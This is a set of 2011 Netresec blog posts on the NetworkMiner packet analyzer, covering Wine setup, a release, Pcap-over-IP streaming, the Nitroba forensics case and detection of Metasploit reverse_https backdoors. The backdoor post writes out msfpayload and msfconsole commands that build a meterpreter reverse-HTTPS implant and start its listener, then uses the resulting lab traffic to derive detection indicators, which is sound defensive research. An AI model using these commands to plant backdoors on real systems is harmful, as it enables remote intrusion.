cd /opt
unzip latest
cd NetworkMiner_1-1/
wine NetworkMiner.exe
NetworkMiner in Linux with Wine

I hope this will help you get NetworkMiner running on your Ubuntu analyst station!

We will also be looking into having NetworkMiner fully compatible with mono in a future release. This would allow you to run NetworkMiner “natively” on Linux, Mac OS X as well as BSD (OpenBSD, FreeBSD, NetBSD).

Posted by Erik Hjelmvik on Thursday, 13 October 2011 16:51:00 (UTC/GMT)

Tags: #Netresec #Linux #Wine #Ubuntu

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 1.1 Released

We are today very proud to release version 1.1 of NetworkMiner!

NetworkMiner Logo

The new releases of NetworkMiner (open source version) and NetworkMiner Professional (commercial version) includes the following features:

  • Extraction of parameters sent to Google Analytics into NetworkMiner's “Host Details”. These parameters include: screen resolution, color depth, browser language and flash version.
  • You can drag-and-drop one or multiple pcap files onto NetworkMiner.exe to have it start up and begin loading the dropped pcap files. You can also submit your pcap files as arguments from the command line.
  • Multiple SMB/CIFS and NetBIOS improvements, such as support for multiple simultaneous SMB file transfers over the same TCP session as well as support for NetBIOS Session Service keep-alive messages.
  • Added support for Point-to-Point Protocol (PPP) frames in pcap files.
  • Improved stability when loading pcap files. Thanks to psteier for identifying this bug.

NetworkMiner Professional additionally includes support for Pcap-over-IP, which comes in very handy when you need to access pcap files or network traffic from remote machines or devices. There is, however, no support for Pcap-over-IP in the open source version of NetworkMiner.

Upgrading from NetworkMiner Pro 1.0

We offer free upgrades for users of NetworkMiner Professional 1.0. Just send an email to info [at] with your license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.1.

Posted by Erik Hjelmvik on Thursday, 15 September 2011 17:25:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #Pcap-over-IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Pcap-over-IP in NetworkMiner

Pcap over IP network protocol stack

Version 1.1 of NetworkMiner is soon to be released by us at Netresec. I would therefore like to give you a sneak preview of a simple yet very useful feature that we've added. We call this new feature “Pcap-over-IP”, which is a name originally coined by Packet Forensics.

With Pcap-over-IP you can have NetworkMiner read a pcap file (or libpcap formatted data in general) or over a TCP socket instead of getting it via the file system. The easiest way to send a pcap file over a TCP socket is to pipe a pcap file to netcat like this:

# cat sniffed.pcap | nc 57012

In this example I'd be running NetworkMiner on a PC with IP and have Pcap‑over‑IP listening to TCP port 57012. NetworkMiner will save the received packets to disk as well as parse and display the contents of the packets in the GUI when receiving the Pcap‑over‑IP stream.

NetworkMiner receiving Pcap-over-IP data

Pcap-over-IP also allows me to do live network sniffing with dumpcap from my local Windows machine and pipe the captured packets to NetworkMiner via a TCP socket, using Netcat for Windows like this:

C:\Program Files\Wireshark>dumpcap -i 4 -P -w - | C:\Tools\Netcat\nc.exe 57012

Note that the “-w -” switch tells dumpcap to push the raw libpcap formated data to standard output (stdout) rather than saving it to a pcap file.

The reason for using dumcap to perform the live sniffing rather than using the built in packet capturing functionality of NetworkMiner is that dumpcap is an extremely reliably tool when it comes to capturing packets. So by sniffing with dumpcap instead of NetworkMiner you minimize the risk of dropping some packets.

I can also use Pcap-over-IP to capture network traffic from a remote PC or device. I can, for example use tcpdump to sniff traffic on the external interface of my Linux-based firewall and push it to an analyst station like this:

# tcpdump -i eth1 -s 0 -U -w - | nc 57012

I can also perform remote WiFi sniffing with dumpcap or tcpdump from a Linux machine and send the sniffed packets to NetworkMiner with netcat like this:

# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 4
# dumpcap -i wlan0 -P -w - | nc 57012

It is even possible to receive multiple PCAP streams simultaneously with NetworkMiner. This way I could have 14 dumpcap or tcpdump processes sniffing each individual IEEE 802.11 channel, while monitoring all the captured traffic in real-time with a single instance of NetworkMiner. However, note that this would require 14 sniffer computers or a single sniffer machine with 14 WiFi cards.

SSL encryption

Don't like sending your pcap files in cleartext over the network? That's just fine, we've also implemented support for SSL/TLS encryption in NetworkMiner. You can use the great multipurpose relay tool socat to read your pcap file and have it encrypted with SSL while transiting the network like this:

# socat GOPEN:sniffed.pcap SSL:,verify=0

You can also use socat when doing live sniffing like this:

# tcpdump -i br0 -s 0 -U -w - | socat - SSL:,verify=0

Warning: Always make sure you don't sniff your own Pcap-over-IP stream when sending packets to NetworkMiner. You will otherwise construct a feedback loop, which will fill up the tubes. If you need to sniff the same interface as you are using to perform the Pcap‑over‑IP transfer, then make sure to use BPF to filter out the port number used for your Pcap‑over‑IP transfer like this:

# tcpdump -i ppp0 -U -w - not port 57012 | nc 57012

UPDATE June 16, 2014

With the release of NetworkMiner 1.6 we've made the PCAP‑over‑IP functionality available in the free open source edition of NetworkMiner. We have also integrated PCAP‑over‑IP into NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional.

Posted by Erik Hjelmvik on Wednesday, 07 September 2011 09:22:00 (UTC/GMT)

Tags: #Netresec #Pcap-over-IP #Pcap #netcat #tcpdump #dumpcap #TCP #SSL #TLS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

How to detect reverse_https backdoors

back door OPEN

According to Mandiant 83% of all backdoors used by APT attackers are outgoing sessions to TCP port 80 or 443. The reason for why APT, as well as other attackers, are using these two ports is primarily because most organizations allow outgoing connections on TCP 80 as well as 443. Many organizations try to counter this by using web-proxies, which can inspect the HTTP traffic and block any malicious behavior. But TCP 443 cannot be inspected in this way since SSL relies on end-to-end encryption. By end-to-end encryption I mean that the session must be encrypted all the way from the server to the client without having any SSL proxies or MITM devices that break the encryption between the server and client. Inserting an SSL proxy would typically result in a certificate error in the client's web browser. TCP 443 is therefore left untouched on most organizations' Internet connections.

In Operation Aurora (where Google, Adobe and other high profile companies were attacked) the attackers used TCP 443 as a command and control protocol. When McAfee investigated the Aurora attacks they noticed that the traffic over TCP 443 wasn't SSL, but “a custom encrypted protocol”. In fact McAfee noted that the backdoor always started out with the client sending the following 20 bytes to a command and control (C&C) server:

ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff

Such poorly designed C&C protocols can easily be detected with static IDS signatures, which could simply match on the initial chunk of static data. Jaime Blasco actually wrote such a Snort signature for the "ET TROJAN Aurora C&C Checkin".

But what if the attacker uses a proper outgoing SSL session for the command and control backdoor? Such a feature would prevent most passive IDS and IPS products from detecting the backdoor, since the C&C sessions would have to be MITM'ed in order to reveal their contents.

Metasploit's reverse_https

The popular penetration testing framework Metasploit was recently extended with support for “reverse_https”. With reverse_https a pen tester can have compromised machines establish meterpreter backdoor connections inside of real SSL sessions.

I decided to try this functionality out for myself in order to see if these SSL backdoors can somehow be detected through analysis of the network traffic.

The first step was to generate a windows binary that will establish the SSL enabled meterpreter backdoor from the client:

# ./msfpayload windows/meterpreter/reverse_https LHOST= LPORT=443 X> /tmp/reverse_https_443.exe
Created by msfpayload (
Payload: windows/meterpreter/reverse_https
Length: 366
Options: {"LHOST"=>"", "LPORT"=>"443"}

I then started msfconsole and activated the reverse_https meterpreter multihandler:

# ./msfconsole

=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTPS reverse handler on
[*] Starting the payload handler...

I thereafter copied the file “reverse_https_443.exe” to the victim Windows machine, and after executing it I cold see a proper SSL session being established from the victim to the metasploit machine:

Wireshark with reverse_https traffic

So what information could an incident responder or network forensics investigator use in order to reveal that this SSL session wasn't just normal HTTPS web surfing?

Well, something that many people aren't aware of is that the initial part of an SSL session isn't encrypted. In fact, there are some pieces of relevant information being transmitted in clear text, especially the X.509 certificate that is sent from the SSL server.

NetworkMiner extracts any X.509 certificates from SSL sessions going to TCP ports 443, 465, 563, 992, 993, 994, 995, 989, 990, 5223, 8170, 8443, 9001 and 9030. NetworkMiner Professional, on the other hand, automatically detects SSL/TLS sessions regardless of port number and can therefore extract X.509 certificate also from non-standard SSL ports. I therefore simply opened up some captured network traffic containing reverse_https traffic in NetworkMiner Professional in order to have it write the certificates to disk.

NetworkMiner with extracted certificates from Metasplot's reverse_https

From the three loaded pcap files above NetworkMiner also extracted three different X.509 certificates. Notice that the filename of the generated “.cer” file is built from the Common Name (CN), which should be the domain name of the SSL-enabled server. The CN's of the certs extracted from the reverse_https traffic does, however, not make any sense (they aren't real DNS hosts). I therefore used OpenSSL to look closer at the .cer files.

$ openssl x509 -inform DER -noout -text -in 9f.yr6pjr0szk.9totrpxqe.m.cer
Version: 3 (0x2)
Serial Number: -733922202 (-0x2bbec39a)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=AZ, L=xaprmubDjHJDPfEEWYeLx, O=zXUImDczrRMXYRMtucfHVqfLWrXm,
Not Before: Jun 21 08:17:11 2011 GMT
Not After : Jul 21 18:17:11 2011 GMT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

$ openssl x509 -inform DER -noout -text -in
Version: 3 (0x2)
Serial Number: -604506869 (-0x24080af5)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=VA, L=tigHlRKNLUgNdtZDYbrXg, O=bRzvgbfYRydWIzNIUcUuCCyaFGo,
Not Before: Jun 24 07:30:49 2011 GMT
Not After : Jul 24 17:30:49 2011 GMT
Subject: C=US, ST=KS, L=DJakaGdxLmrsm, O=uRQXLZzhIMLNrwxFdGvfZaEwgZp,
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

$ openssl x509 -inform DER -noout -text -in imtb8yp.7kh.on4nyye.s8dgv.cer
Version: 3 (0x2)
Serial Number: -578853718 (-0x22809b56)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=WA, L=ZtwHCLKrKdUtvYLQ, O=KHjTGIuuHFvGNbvFudaUfGztPoNf,
Not Before: Jun 24 07:36:40 2011 GMT
Not After : Jul 24 17:36:40 2011 GMT
Subject: C=US, ST=CO, L=gqKLcJHtJFmbSxVoIs, O=vJcarDAHufJWWmmVLdRxpEEbKS,
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

All three certificates seem to have randomly generated data in a lot of fields. The CN's of both the issuer and the certificate owner always seem to be in the following format: [RANDOM-DATA].com/gov/net. I also noticed that the validity period of all certificates was exactly one month. None of the certificates are, of course, not signed by any trusted CA (just as the case was with the TOR traffic I found in Richard Bejtlich's sample lab).

To sum up my findings, these are some indicators that can be used to detect Metasploit's reverse_https meterpreter sessions simply by passively looking at network traffic:

  • The certificate isn't signed by a trusted CA
  • The domain names are random (i.e. don't really exist)
  • Domain names end with .com, .gov or .net
  • Validity period is stated to be exactly one month

A more general approach would be to monitor all network traffic for certificates that are not signed by a trusted CA. Doing this would, of course, generate a lot of false positives, but I still believe it could be an effective part of a “Defensible Network Architecture”.

Posted by Erik Hjelmvik on Saturday, 09 July 2011 17:42:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Solution to the Nitroba case

UPDATE (June 16, 2011): This blog post has been modified in consent with Dr. Simson Garfinkel since the Nitroba case is actively being used in digital forensics classes. The actual solution to the case has now been replaced with hints and clues.

I recently received a request to help solve a network forensics case called "Nitroba University Harassment Scenario".

I regularly keep track of publicly available pcap files on the Internet, but this one was new to me. I therefore dived in and started analyzing the pcap file.

Case Description

The slides describing the Nitroba case present the following scenario:

You are a staff member at the Nitroba University Incident Response Team. Lily Tuckrige is teaching chemistry CHEM109 this summer at NSU. Tuckrige has been receiving harassing email at her personal email address.
  • Tuckrige's personal email is
  • She thinks that it is from one of the students in her class.
After locating the NAT:ed private network from where the harassment emails are sent from the scenario continues with:
"To find out what's going on, Nitroba's IT sets up a packet sniffer"
Good for us, this means we have some captured packets to analyze with NetworkMiner!

While the traffic was being sniffed Lily received a new email, this time with a link to a webpage with a message titled "you can't find us" and the content "and you can't hide from us. Stop teaching. Start running."

Harassment email

Clues to solving the Nitroba case

Here is a short writeup of hints and clues to how the Nitroba case can be solved:

A good starting point is to look for the session where the self-destruct email was being posted to the website. One way to do this is to pick a couple of keywords from the message (such as "teaching" and "running") and add them to the Keywords tab of NetworkMiner. You will then have to press the "Reload Case Files" button in order to let NetworkMiner re-parse the nitroba.pcap file while looking for these keywords. Look in the Context column for text that seems to be from the self-destruct message.

Nitroba keywords teaching and running

You can also take some time to browse through the other tabs of NetworkMiner... Who knows, maybe the self-destruct message is even easier to find than you might expect? ;)

After you've identified the IP address of the machine from where the self-destruct message was sent you'll need to start looking for clues as to who is using the computer with that IP address. Here are a few suggestions for things to consider:

  • At what point in time was the self-destruct message sent?
  • Has the sender's IP address been used by one or several computers?
  • What online services (webmail / social media / instant messaging etc.) has the user of this IP address been logged into?
For the last bullet (online services) I recommend that you take a closer look at my Webmail Information Leakage blog to get even more hints.

Feedback to DEEP

I really enjoyed the Nitroba case, and thought it was a really good training case to be used for educational purposes. Thanks Naval Postgraduate School's Digital Evaluation and Exploitation (DEEP) group for creating this network forensics case!

Posted by Erik Hjelmvik on Thursday, 16 June 2011 18:31:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:


NETRESEC on Twitter

Follow @netresec on twitter:


Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)